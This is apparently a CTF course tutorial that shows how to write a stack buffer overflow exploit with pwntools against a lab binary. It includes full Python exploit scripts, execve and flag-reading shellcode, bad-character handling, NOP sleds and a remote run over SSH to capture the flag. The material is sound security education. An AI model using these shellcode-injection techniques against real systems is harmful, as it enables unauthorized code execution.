Tut03: Writing Exploits with pwntools

In the last tutorial, we learned about template for writing an exploit, which only uses python's standard libraries so require lots of uninteresting boilerplate code. In this tutorial, we are going to use a set of tools and templates that are particularly designed for writing exploits, namely, pwntools.

Step 0: Triggering a buffer overflow again

Do you remember the step 0 of Tut03?

# login to the CTF server
# ** check Canvas for login information! **
[host] $ ssh lab03@<ctf-server-address>

$ cd tut03-pwntool
$ ./crackme0x00
IOLI Crackme Level 0x00
Password:

By injecting a long enough input, we could hijack its control flow in the last tutorial, like this:

$ echo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ > /tmp/[secrete]/input
$ ./crackme0x00 < /tmp/[secrete]/input
IOLI Crackme Level 0x00
Password: Invalid Password!
Segmentation fault

$ gdb-pwndbg ./crackme0x00
pwndbg> r < /tmp/[secrete]/input
...
Program received signal SIGSEGV (fault address 0x47474747)

Step 1: pwntools basic and cyclic pattern

In fact, pwntools provides a convenient way to create such an input, what is commonly known as a "cyclic" input.

$ cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama

Given four bytes in a sequence, we can easily locate the position at the input string.

$ cyclic 50 | ./crackme0x00

$ cyclic 50 > /tmp/[secrete]/input
$ gdb-pwndbg ./crackme0x00
pwndbg> r </tmp/[secrete]/input
...
Program received signal SIGSEGV (fault address 0x61616167)

$ cyclic -l 0x61616167
24

$ cyclic --help
...

Let's write a python script by using pwntools (exploit1.py).

#!/usr/bin/env python2

# import all modules/commands from pwn library
from pwn import *

# set the context of the target platform
#  arch: i386 (x86 32bit)
#  os: linux
context.update(arch='i386', os='linux')

# create a process
p = process("./crackme0x00")

# send input to the program with a newline char, "\n"
#  cyclic(50) provides a cyclic string with 50 chars
p.sendline(cyclic(50))

# make the process interactive, so you can interact
# with the proces via its terminal
p.interactive()

[Task] Hijack its control flow to 0xdeadbeef by using

cyclic_find()
p32()

Step 2: Exploiting crackme0x00 with pwntools shellcraft

Our plan is to invoke a shell by hijacking this control flow. Before doing this, let's check what kinds of security mechanisms are applied to that binary.

$ checksec ./crackme0x00
[*] '/home/lab03/tut03-pwntool/crackme0x00'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

Do you see "NX disabled", meaning that its memory space such as stack is executable, which is where we put our shellcode!

Our plan is to hijack its ra and jump to a shellcode.

             |<-- -0x14-->|+--- ebp
  top                     v
  [          [buf .. ]   ][fp][ra][shellcode ... ]
  |<----   0x24  ------->|     |  ^
                               |  |
                               +---

pwntools also provides numerous ready-to-use shellcode as well.

$ shellcraft -l
...
i386.android.connect
i386.linux.sh
...

$ shellcraft -f a i386.linux.sh
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80

shellcraft provides more than just this; a debugging interface (-d) and a test run (-r), so please check: shellcraft --help

# debugging the shellcode
$ shellcraft -d i386.linux.sh

# running the shellcode
$ shellcraft -r i386.linux.sh

You can also use it in your python code (exploit2.py).

#!/usr/bin/env python2

from pwn import *

context.update(arch='i386', os='linux')

shellcode = shellcraft.sh()
print(shellcode)
print(hexdump(asm(shellcode)))

payload  = cyclic(cyclic_find(0x61616167))
payload += p32(0xdeadbeef)
payload += asm(shellcode)

p = process("./crackme0x00")
p.sendline(payload)
p.interactive()

asm() compiles your shellcode and provides its binary string.

[Task] Where it should jump (i.e., where does the shellcode locate)? change 0xdeadbeef to the shellcode region.

Does it work? In fact, it shouldn't, but how to debug/understand this situation?

More conveniently, we can compose a set of prepared shellcodes in python, and test it with run_assembly(). The below code, like the lab02's shellcode, reads a flag and dumps it to the screen.

#!/usr/bin/env python2

from pwn import *

context.arch = "x86_64"

sh  = shellcraft.open("/proc/flag")
sh += shellcraft.read(3, 'rsp', 0x1000)
sh += shellcraft.write(1, 'rsp', 'rax')
sh += shellcraft.exit(0)

p = run_assembly(sh)
print(p.read())

Step 3: Debugging Exploits (pwntools gdb module)

Gdb module provides a convenient way to program your debugging script.

To display debugging information, you need to use terminal that can split your shell into multiple screens. pwntools supports "tmux", which you should run prior to using the gdb module:

$ tmux
$ ./exploit3.py

Note. For the gdb module of pwntools to run properly, you must run tmux prior to running the exploit.

You can invoke gdb as part of your python code (exploit3.py).

#!/usr/bin/env python2

from pwn import *

context.update(arch='i386', os='linux')

print(shellcraft.sh())
print(hexdump(asm(shellcraft.sh())))

shellcode = shellcraft.sh()

payload  = cyclic(cyclic_find(0x61616167))
payload += p32(0xdeadbeef)
payload += asm(shellcode)

p = process("./crackme0x00")
gdb.attach(p, '''
echo "hi"
# break *0xdeadbeef
continue
''')

p.sendline(payload)
p.interactive()

*0xdeadbeef should point to the shellcode.

Note. Because of the security policy of Linux kernel, gdb.attach and gdb.debug does not work with the original setuid binaries under /home/lab00/. You need to first copy the binaries to your tmp directory in order to attach gdb.

The only difference is that process() is attached with gdb.attach() and the second argument, as you guess, is the gdb script that you'd like to execute (e.g., setting break points).

[Task] Where is this exploit stuck? (This may be different in your setting)

  0xffffd6b0    add    ecx, esp
  0xffffd6b2    push   ecx
  0xffffd6b3    mov    ecx, esp
  0xffffd6b5    xor    edx, edx
  0xffffd6b7    push   0
->0xffffd6b9    sar    bl, 1
  0xffffd6bb    test   dword ptr [eax], 0

The shellcode is not properly injected. Could you spot the differences between the above shellcode (shellcraft -f a i386.linux.sh) and what is injected?

  ...
  mov ecx, esp
  xor edx, edx
  /* call execve() */
  push SYS_execve /* 0xb */
  pop eax
  int 0x80

gdb.attach() vs gdb.debug()

Two methods of pwndbg, namely, gdb.attach and gdb.debug will come in handy when you want to start debugging from within your python scripts. These two methods are similar, but have one notable difference.

  • gdb.debug() starts a new process under a debugger, as if you are running gdb outside your exploit script:
target = "./crackme0x00" # this is a copied binary under /tmp
p = gdb.debug(target, gdbscript="""
  init-pwndbg
  break main
""")
p.interactive()
  • gdb.attach() attaches to a process that is already running. Therefore, you need to fist start the process and then invoke gdb.attach, passing the process object as an argument:
target = "./crackme0x00" # this is a copied binary under /tmp
p = process(target) # first start target process
gdb.attach(p, gdbscript="""
  init-pwndbg
  break main
""")
p.interactive()

Step 4: Handling bad char

$ man scanf

scanf() accepting all non-white-space chars (including the NULL char!) but the default shellcode from pwntools contain white-space char (0xb), which chopped our shellcode at the end.

These are white-space chars for scanf():

09, 0a, 0b, 0c, 0d, 20

If you are curious, check:

$ cd scanf
$ make
...

[Task] Can we change your shellcode without using these chars?

Please use exploit4.py (in your local). Did you manage to get a flag in the local?

Step 5: Getting the flag

Your current exploit looks like this (exploit4.py):

...
payload  = cyclic(cyclic_find(0x61616167))
payload += p32([addr-to-local-stack])
payload += asm(shellcode)

p = process("./crackme0x00")
p.sendline(payload)

You can either copy this script to the server, or you can directly connect to our server in the local script as follows:

# connect to our server
s = ssh("lab03", "<ctf-server-address>", password="<password-in-canvas>")

# invoke a process in the server
p = s.process("./crackme0x00", cwd="/home/lab03/tut03-pwntool")
p.sendline(payload)
...

Is your exploit working against the server? Probably not. It's simply because [addr-to-local-stack] in your local environment is different from the server.

           |           |     |    ret    |      |           |
           |    ret    |     | shellcode |      |           |
   fix  => | shellcode |  => |           |   => |    ret    |
           |           |     |           |      | shellcode |
           |    ...    |     |   ...     |      |    ...    |
           |    ENV    |     |   ENV     |      |    ENV    |
0xffffe000 |    ...    |     |   ...     |      |    ...    |
              (local)          (server)     or     (server)

There are a few factors that affect the state of the server's stack. One of them is environment variables, which local near the bottom of the stack like above figures.

One way to increase a chance to execute the shellcode is to put a nop sled before the shellcode, like this:

payload += p32([addr-to-local-stack])
payload += "\x90" * 100
payload += asm(shellcode)

If you happen to jump to the not sled, it will ultimately execute the shellcode (after executing the nop instructions).

           |           |
           |    ret    |
           |    nop    |
   fix  => |    nop    |
           |    ...    |
           | shellcode |
           |    ...    |
           |    ENV    |
0xffffe000 |    ...    |

So what about increasing the nop sled indefinitely? like 0x10000? Unfortunately, the stack is limited (try vmmap in gdb-pwndbg), so if you put a long input, it will touch the end of the stack (i.e., 0xffffe000).

 0x8048000  0x8049000 r-xp     1000 0      /tmp/crackme0x00
 0x8049000  0x804a000 r-xp     1000 0      /tmp/crackme0x00
 0x804a000  0x804b000 rwxp     1000 1000   /tmp/crackme0x00
 ...
0xfffdd000 0xffffe000 rwxp    21000 0      [stack]

How to avoid this situation and increase the chance? Perhaps, we can add more environment variables to enlarge the stack region as follows:

p = s.process("./crackme0x00", cwd="/home/lab03/tut03-pwntool",
              env={"DUMMY": "A"*0x1000})

[Task] Do you finally manage to execute the shellcode? and get the flag? Please submit the flag and claim the point.

FYI, pwntools has many more features than the ones introduced in this tutorial. Please check the online manual if you'd like.

Reference